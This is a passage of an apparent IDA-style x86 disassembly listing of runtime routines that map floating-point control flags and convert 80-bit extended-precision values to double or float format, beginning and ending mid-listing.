[ebp+var_C], 300h jz short loc_42F913 jmp short loc_42F935 ; --------------------------------------------------------------------------- loc_42F913: ; CODE XREF: sub_42F7E0+12Fj mov eax, [ebp+var_4] mov [ebp+var_4], eax jmp short loc_42F935 ; --------------------------------------------------------------------------- loc_42F91B: ; CODE XREF: sub_42F7E0+126j mov ecx, [ebp+var_4] or ecx, 10000h mov [ebp+var_4], ecx jmp short loc_42F935 ; --------------------------------------------------------------------------- loc_42F929: ; CODE XREF: sub_42F7E0+11Dj mov edx, [ebp+var_4] or edx, 20000h mov [ebp+var_4], edx loc_42F935: ; CODE XREF: sub_42F7E0+131j ; sub_42F7E0+139j ... mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1000h test eax, eax jz short loc_42F952 mov ecx, [ebp+var_4] or ecx, 40000h mov [ebp+var_4], ecx loc_42F952: ; CODE XREF: sub_42F7E0+164j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42F7E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F960 proc near ; CODE XREF: sub_42F710+36p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 10h test eax, eax jz short loc_42F981 mov cx, [ebp+var_4] or cl, 1 mov [ebp+var_4], cx loc_42F981: ; CODE XREF: sub_42F960+14j mov edx, [ebp+arg_0] and edx, 8 test edx, edx jz short loc_42F995 mov ax, [ebp+var_4] or al, 4 mov [ebp+var_4], ax loc_42F995: ; CODE XREF: sub_42F960+29j mov ecx, [ebp+arg_0] and ecx, 4 test ecx, ecx jz short loc_42F9AA mov dx, [ebp+var_4] or dl, 8 mov [ebp+var_4], dx loc_42F9AA: ; CODE XREF: sub_42F960+3Dj mov eax, [ebp+arg_0] and eax, 2 test eax, eax jz short loc_42F9BF mov cx, [ebp+var_4] or cl, 10h mov [ebp+var_4], cx loc_42F9BF: ; CODE XREF: sub_42F960+52j mov edx, [ebp+arg_0] and edx, 1 test edx, edx jz short loc_42F9D3 mov ax, [ebp+var_4] or al, 20h mov [ebp+var_4], ax loc_42F9D3: ; CODE XREF: sub_42F960+67j mov ecx, [ebp+arg_0] and ecx, 80000h test ecx, ecx jz short loc_42F9EB mov dx, [ebp+var_4] or dl, 2 mov [ebp+var_4], dx loc_42F9EB: ; CODE XREF: sub_42F960+7Ej mov eax, [ebp+arg_0] and eax, 300h mov [ebp+var_8], eax cmp [ebp+var_8], 200h ja short loc_42FA19 cmp [ebp+var_8], 200h jz short loc_42FA2E cmp [ebp+var_8], 0 jz short loc_42FA24 cmp [ebp+var_8], 100h jz short loc_42FA3B jmp short loc_42FA53 ; --------------------------------------------------------------------------- loc_42FA19: ; CODE XREF: sub_42F960+9Dj cmp [ebp+var_8], 300h jz short loc_42FA48 jmp short loc_42FA53 ; --------------------------------------------------------------------------- loc_42FA24: ; CODE XREF: sub_42F960+ACj mov cx, [ebp+var_4] mov [ebp+var_4], cx jmp short loc_42FA53 ; --------------------------------------------------------------------------- loc_42FA2E: ; CODE XREF: sub_42F960+A6j mov dx, [ebp+var_4] or dh, 8 mov [ebp+var_4], dx jmp short loc_42FA53 ; --------------------------------------------------------------------------- loc_42FA3B: ; CODE XREF: sub_42F960+B5j mov ax, [ebp+var_4] or ah, 4 mov [ebp+var_4], ax jmp short loc_42FA53 ; --------------------------------------------------------------------------- loc_42FA48: ; CODE XREF: sub_42F960+C0j mov cx, [ebp+var_4] or ch, 0Ch mov [ebp+var_4], cx loc_42FA53: ; CODE XREF: sub_42F960+B7j ; sub_42F960+C2j ... mov edx, [ebp+arg_0] and edx, 30000h mov [ebp+var_C], edx cmp [ebp+var_C], 0 jz short loc_42FA79 cmp [ebp+var_C], 10000h jz short loc_42FA86 cmp [ebp+var_C], 20000h jz short loc_42FA93 jmp short loc_42FA9B ; --------------------------------------------------------------------------- loc_42FA79: ; CODE XREF: sub_42F960+103j mov ax, [ebp+var_4] or ah, 3 mov [ebp+var_4], ax jmp short loc_42FA9B ; --------------------------------------------------------------------------- loc_42FA86: ; CODE XREF: sub_42F960+10Cj mov cx, [ebp+var_4] or ch, 2 mov [ebp+var_4], cx jmp short loc_42FA9B ; --------------------------------------------------------------------------- loc_42FA93: ; CODE XREF: sub_42F960+115j mov dx, [ebp+var_4] mov [ebp+var_4], dx loc_42FA9B: ; CODE XREF: sub_42F960+117j ; sub_42F960+124j ... mov eax, [ebp+arg_0] and eax, 40000h test eax, eax jz short loc_42FAB2 mov cx, [ebp+var_4] or ch, 10h mov [ebp+var_4], cx loc_42FAB2: ; CODE XREF: sub_42F960+145j mov ax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42F960 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FAC0 proc near ; CODE XREF: seg000:0042F6E0p ; seg000:0042F701p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1 test eax, eax jz short loc_42FAE3 mov ecx, [ebp+var_4] or ecx, 10h mov [ebp+var_4], ecx loc_42FAE3: ; CODE XREF: sub_42FAC0+18j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 4 test edx, edx jz short loc_42FAFB mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_42FAFB: ; CODE XREF: sub_42FAC0+31j mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 8 test ecx, ecx jz short loc_42FB14 mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx loc_42FB14: ; CODE XREF: sub_42FAC0+49j mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 10h test eax, eax jz short loc_42FB2C mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx loc_42FB2C: ; CODE XREF: sub_42FAC0+61j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 20h test edx, edx jz short loc_42FB44 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax loc_42FB44: ; CODE XREF: sub_42FAC0+7Aj mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 2 test ecx, ecx jz short loc_42FB60 mov edx, [ebp+var_4] or edx, 80000h mov [ebp+var_4], edx loc_42FB60: ; CODE XREF: sub_42FAC0+92j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42FAC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FB70 proc near ; CODE XREF: sub_42FCB0+70p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_C], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_42FB94 dec eax or eax, 0FFFFFFE0h inc eax loc_42FB94: ; CODE XREF: sub_42FB70+1Dj mov ecx, 1Fh sub ecx, eax mov [ebp+var_4], ecx or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] shl edx, cl not edx mov [ebp+var_8], edx mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] and edx, [ebp+var_8] test edx, edx jz short loc_42FBBF xor eax, eax jmp short loc_42FBF0 ; --------------------------------------------------------------------------- loc_42FBBF: ; CODE XREF: sub_42FB70+49j mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42FBD3 ; --------------------------------------------------------------------------- loc_42FBCA: ; CODE XREF: sub_42FB70:loc_42FBE9j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_42FBD3: ; CODE XREF: sub_42FB70+58j cmp [ebp+var_C], 3 jge short loc_42FBEB mov edx, [ebp+var_C] mov eax, [ebp+arg_0] cmp dword ptr [eax+edx*4], 0 jz short loc_42FBE9 xor eax, eax jmp short loc_42FBF0 ; --------------------------------------------------------------------------- loc_42FBE9: ; CODE XREF: sub_42FB70+73j jmp short loc_42FBCA ; --------------------------------------------------------------------------- loc_42FBEB: ; CODE XREF: sub_42FB70+67j mov eax, 1 loc_42FBF0: ; CODE XREF: sub_42FB70+4Dj ; sub_42FB70+77j mov esp, ebp pop ebp retn sub_42FB70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FC00 proc near ; CODE XREF: sub_42FCB0+84p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_C], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_42FC24 dec eax or eax, 0FFFFFFE0h inc eax loc_42FC24: ; CODE XREF: sub_42FC00+1Dj mov ecx, 1Fh sub ecx, eax mov [ebp+var_4], ecx mov edx, 1 mov ecx, [ebp+var_4] shl edx, cl mov [ebp+var_8], edx mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*4] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] push eax call sub_433020 add esp, 0Ch mov [ebp+var_10], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx jmp short loc_42FC72 ; --------------------------------------------------------------------------- loc_42FC69: ; CODE XREF: sub_42FC00+9Fj mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_42FC72: ; CODE XREF: sub_42FC00+67j cmp [ebp+var_C], 0 jl short loc_42FCA1 cmp [ebp+var_10], 0 jz short loc_42FCA1 mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*4] push edx push 1 mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] push edx call sub_433020 add esp, 0Ch mov [ebp+var_10], eax jmp short loc_42FC69 ; --------------------------------------------------------------------------- loc_42FCA1: ; CODE XREF: sub_42FC00+76j ; sub_42FC00+7Cj mov eax, [ebp+var_10] mov esp, ebp pop ebp retn sub_42FC00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FCB0 proc near ; CODE XREF: sub_42FF40+ABp ; sub_42FF40+132p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_18], 0 mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_C], ecx mov eax, [ebp+var_C] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_14], eax mov edx, [ebp+var_C] and edx, 8000001Fh jns short loc_42FCEE dec edx or edx, 0FFFFFFE0h inc edx loc_42FCEE: ; CODE XREF: sub_42FCB0+37j mov eax, 1Fh sub eax, edx mov [ebp+var_8], eax mov edx, 1 mov ecx, [ebp+var_8] shl edx, cl mov [ebp+var_1C], edx mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] and edx, [ebp+var_1C] test edx, edx jz short loc_42FD3F mov eax, [ebp+var_C] add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx call sub_42FB70 add esp, 8 test eax, eax jnz short loc_42FD3F mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_0] push eax call sub_42FC00 add esp, 8 mov [ebp+var_18], eax loc_42FD3F: ; CODE XREF: sub_42FCB0+63j ; sub_42FCB0+7Aj or edx, 0FFFFFFFFh mov ecx, [ebp+var_8] shl edx, cl mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4] and eax, edx mov ecx, [ebp+var_14] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_10], eax jmp short loc_42FD6F ; --------------------------------------------------------------------------- loc_42FD66: ; CODE XREF: sub_42FCB0+D2j mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_42FD6F: ; CODE XREF: sub_42FCB0+B4j cmp [ebp+var_10], 3 jge short loc_42FD84 mov edx, [ebp+var_10] mov eax, [ebp+arg_0] mov dword ptr [eax+edx*4], 0 jmp short loc_42FD66 ; --------------------------------------------------------------------------- loc_42FD84: ; CODE XREF: sub_42FCB0+C3j mov eax, [ebp+var_18] mov esp, ebp pop ebp retn sub_42FCB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FD90 proc near ; CODE XREF: sub_42FF40+98p ; sub_42FF40:loc_43004Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx mov [ebp+var_C], 0 jmp short loc_42FDB4 ; --------------------------------------------------------------------------- loc_42FDAB: ; CODE XREF: sub_42FD90+46j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_42FDB4: ; CODE XREF: sub_42FD90+19j cmp [ebp+var_C], 3 jge short loc_42FDD8 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp short loc_42FDAB ; --------------------------------------------------------------------------- loc_42FDD8: ; CODE XREF: sub_42FD90+28j mov esp, ebp pop ebp retn sub_42FD90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FDE0 proc near ; CODE XREF: sub_42FF40+7Cp ; sub_42FF40+D5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_42FDF6 ; --------------------------------------------------------------------------- loc_42FDED: ; CODE XREF: sub_42FDE0+29j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42FDF6: ; CODE XREF: sub_42FDE0+Bj cmp [ebp+var_4], 3 jge short loc_42FE0B mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4], 0 jmp short loc_42FDED ; --------------------------------------------------------------------------- loc_42FE0B: ; CODE XREF: sub_42FDE0+1Aj mov esp, ebp pop ebp retn sub_42FDE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FE10 proc near ; CODE XREF: sub_42FF40+63p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_42FE26 ; --------------------------------------------------------------------------- loc_42FE1D: ; CODE XREF: sub_42FE10:loc_42FE3Cj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42FE26: ; CODE XREF: sub_42FE10+Bj cmp [ebp+var_4], 3 jge short loc_42FE3E mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] cmp dword ptr [edx+ecx*4], 0 jz short loc_42FE3C xor eax, eax jmp short loc_42FE43 ; --------------------------------------------------------------------------- loc_42FE3C: ; CODE XREF: sub_42FE10+26j jmp short loc_42FE1D ; --------------------------------------------------------------------------- loc_42FE3E: ; CODE XREF: sub_42FE10+1Aj mov eax, 1 loc_42FE43: ; CODE XREF: sub_42FE10+2Aj mov esp, ebp pop ebp retn sub_42FE10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FE50 proc near ; CODE XREF: sub_42FF40+11Fp ; sub_42FF40+148p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_18], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_42FE75 dec eax or eax, 0FFFFFFE0h inc eax loc_42FE75: ; CODE XREF: sub_42FE50+1Ej mov [ebp+var_4], eax or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] shl edx, cl not edx mov [ebp+var_14], edx mov [ebp+var_8], 0 mov [ebp+var_C], 0 jmp short loc_42FE9E ; --------------------------------------------------------------------------- loc_42FE95: ; CODE XREF: sub_42FE50+9Fj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_42FE9E: ; CODE XREF: sub_42FE50+43j cmp [ebp+var_C], 3 jge short loc_42FEF1 mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] and eax, [ebp+var_14] mov [ebp+var_10], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] mov ecx, [ebp+var_4] shr eax, cl mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] or edx, [ebp+var_8] mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+eax*4], edx mov ecx, 20h sub ecx, [ebp+var_4] mov edx, [ebp+var_10] shl edx, cl mov [ebp+var_8], edx jmp short loc_42FE95 ; --------------------------------------------------------------------------- loc_42FEF1: ; CODE XREF: sub_42FE50+52j mov [ebp+var_C], 2 jmp short loc_42FF03 ; --------------------------------------------------------------------------- loc_42FEFA: ; CODE XREF: sub_42FE50:loc_42FF35j mov eax, [ebp+var_C] sub eax, 1 mov [ebp+var_C], eax loc_42FF03: ; CODE XREF: sub_42FE50+A8j cmp [ebp+var_C], 0 jl short loc_42FF37 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_18] jl short loc_42FF28 mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov esi, [ebp+arg_0] mov edx, [esi+edx*4] mov [ecx+eax*4], edx jmp short loc_42FF35 ; --------------------------------------------------------------------------- loc_42FF28: ; CODE XREF: sub_42FE50+BFj mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4], 0 loc_42FF35: ; CODE XREF: sub_42FE50+D6j jmp short loc_42FEFA ; --------------------------------------------------------------------------- loc_42FF37: ; CODE XREF: sub_42FE50+B7j pop esi mov esp, ebp pop ebp retn sub_42FE50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FF40 proc near ; CODE XREF: sub_430190+10p ; sub_4301B0+10p var_34 = dword ptr -34h var_30 = byte ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0Ah] and ecx, 7FFFh sub ecx, 3FFFh mov [ebp+var_4], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0Ah] and eax, 8000h mov [ebp+var_20], eax mov ecx, [ebp+arg_0] mov edx, [ecx+6] mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [eax+2] mov [ebp+var_14], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] shl eax, 10h mov [ebp+var_10], eax cmp [ebp+var_4], 0FFFFC001h jnz short loc_42FFD0 mov [ebp+var_8], 0 lea ecx, [ebp+var_18] push ecx call sub_42FE10 add esp, 4 test eax, eax jz short loc_42FFB8 mov [ebp+var_1C], 0 jmp short loc_42FFCB ; --------------------------------------------------------------------------- loc_42FFB8: ; CODE XREF: sub_42FF40+6Dj lea edx, [ebp+var_18] push edx call sub_42FDE0 add esp, 4 mov [ebp+var_1C], 2 loc_42FFCB: ; CODE XREF: sub_42FF40+76j jmp loc_43011C ; --------------------------------------------------------------------------- loc_42FFD0: ; CODE XREF: sub_42FF40+56j lea eax, [ebp+var_18] push eax lea ecx, [ebp+var_30] push ecx call sub_42FD90 add esp, 8 mov edx, [ebp+arg_8] mov eax, [edx+8] push eax lea ecx, [ebp+var_18] push ecx call sub_42FCB0 add esp, 8 test eax, eax jz short loc_430000 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_430000: ; CODE XREF: sub_42FF40+B5j mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] mov edx, [eax+4] sub edx, [ecx+8] cmp [ebp+var_4], edx jge short loc_430030 lea eax, [ebp+var_18] push eax call sub_42FDE0 add esp, 4 loc_43001D: ; DATA XREF: seg002:off_446E80o mov [ebp+var_8], 0 mov [ebp+var_1C], 2 jmp loc_43011C ; --------------------------------------------------------------------------- loc_430030: ; CODE XREF: sub_42FF40+CFj mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] cmp edx, [ecx+4] jg short loc_4300A0 mov eax, [ebp+arg_8] mov ecx, [eax+4] sub ecx, [ebp+var_4] mov [ebp+var_34], ecx lea edx, [ebp+var_30] push edx lea eax, [ebp+var_18] push eax loc_43004F: ; DATA XREF: seg002:00445398o ; seg002:004453ACo call sub_42FD90 add esp, 8 mov ecx, [ebp+var_34] push ecx loc_43005B: ; DATA XREF: seg002:off_4450E0o lea edx, [ebp+var_18] push edx call sub_42FE50 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [eax+8] push ecx lea edx, [ebp+var_18] push edx call sub_42FCB0 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [eax+0Ch] add ecx, 1 push ecx lea edx, [ebp+var_18] push edx call sub_42FE50 add esp, 8 mov [ebp+var_8], 0 mov [ebp+var_1C], 2 jmp short loc_43011C ; --------------------------------------------------------------------------- loc_4300A0: ; CODE XREF: sub_42FF40+F9j mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] cmp ecx, [eax] jl short loc_4300EB lea edx, [ebp+var_18] push edx call sub_42FDE0 add esp, 4 mov eax, [ebp+var_18] or eax, 80000000h mov [ebp+var_18], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] push edx lea eax, [ebp+var_18] push eax call sub_42FE50 add esp, 8 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+arg_8] add edx, [eax+14h] mov [ebp+var_8], edx mov [ebp+var_1C], 1 jmp short loc_43011C ; --------------------------------------------------------------------------- loc_4300EB: ; CODE XREF: sub_42FF40+168j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx+14h] mov [ebp+var_8], edx mov eax, [ebp+var_18] and eax, 7FFFFFFFh mov [ebp+var_18], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] push edx lea eax, [ebp+var_18] push eax call sub_42FE50 add esp, 8 mov [ebp+var_1C], 0 loc_43011C: ; CODE XREF: sub_42FF40:loc_42FFCBj ; sub_42FF40+EBj ... mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] add edx, 1 mov eax, 20h sub eax, edx mov [ebp+var_C], eax mov edx, [ebp+var_8] mov ecx, [ebp+var_C] shl edx, cl mov eax, [ebp+var_18] or eax, edx mov ecx, [ebp+var_20] neg ecx sbb ecx, ecx and ecx, 80000000h or eax, ecx mov [ebp+var_24], eax mov edx, [ebp+arg_8] cmp dword ptr [edx+10h], 40h jnz short loc_43016A mov eax, [ebp+arg_4] mov ecx, [ebp+var_24] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_14] mov [edx], eax jmp short loc_43017B ; --------------------------------------------------------------------------- loc_43016A: ; CODE XREF: sub_42FF40+215j mov ecx, [ebp+arg_8] cmp dword ptr [ecx+10h], 20h jnz short loc_43017B mov edx, [ebp+arg_4] mov eax, [ebp+var_24] mov [edx], eax loc_43017B: ; CODE XREF: sub_42FF40+228j ; sub_42FF40+231j mov eax, [ebp+var_1C] mov esp, ebp pop ebp retn sub_42FF40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430190 proc near ; CODE XREF: sub_430290+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_4507B0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42FF40 add esp, 0Ch pop ebp retn sub_430190 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4301B0 proc near ; CODE XREF: sub_430310+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_4507C8 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42FF40 add esp, 0Ch pop ebp retn sub_4301B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4301D0 proc near ; CODE XREF: seg000:004302FAp ; seg000:00433E7Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0Ah] and ecx, 7FFFh mov word ptr [ebp+var_4], cx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0Ah] and eax, 8000h mov word ptr [ebp+var_18], ax mov ecx, [ebp+arg_0] mov edx, [ecx+6] mov [ebp+var_10], edx mov eax, [ebp+arg_0] mov ecx, [eax+2] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] shl eax, 10h mov [ebp+var_8], eax push 40h lea ecx, [ebp+var_10] push ecx call sub_42FCB0 add esp, 8 test eax, eax jz short loc_430247 mov [ebp+var_10], 80000000h mov dx, word ptr [ebp+var_4] add dx, 1 mov word ptr [ebp+var_4], dx loc_430247: ; CODE XREF: sub_4301D0+62j mov eax, [ebp+var_4] and eax, 0FFFFh cmp eax, 7FFFh jnz short loc_43025D mov [ebp+var_14], 1 loc_43025D: ; CODE XREF: sub_4301D0+84j mov ecx, [ebp+arg_4] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+var_4] and eax, 0FFFFh or edx, eax mov ecx, [ebp+arg_4] mov [ecx+8], dx mov eax, [ebp+var_14] mov esp, ebp pop ebp retn sub_4301D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430290 proc near ; CODE XREF: sub_429930+14p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call sub_433320 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_430190 add esp, 8 mov esp, ebp pop ebp retn sub_430290 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax lea ecx, [ebp-10h] push ecx lea edx, [ebp-0Ch] push edx call sub_433320 add esp, 1Ch mov eax, [ebp+8] push eax lea ecx, [ebp-0Ch] push ecx call sub_4301D0 add esp, 8 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430310 proc near ; CODE XREF: sub_429930+34p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call sub_433320 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_4301B0 add esp, 8 mov esp, ebp pop ebp retn sub_430310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430350 proc near ; CODE XREF: sub_429980+4Dp ; sub_429B70+45p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] mov [ebp+var_8], edx mov eax, [ebp+var_4] mov byte ptr 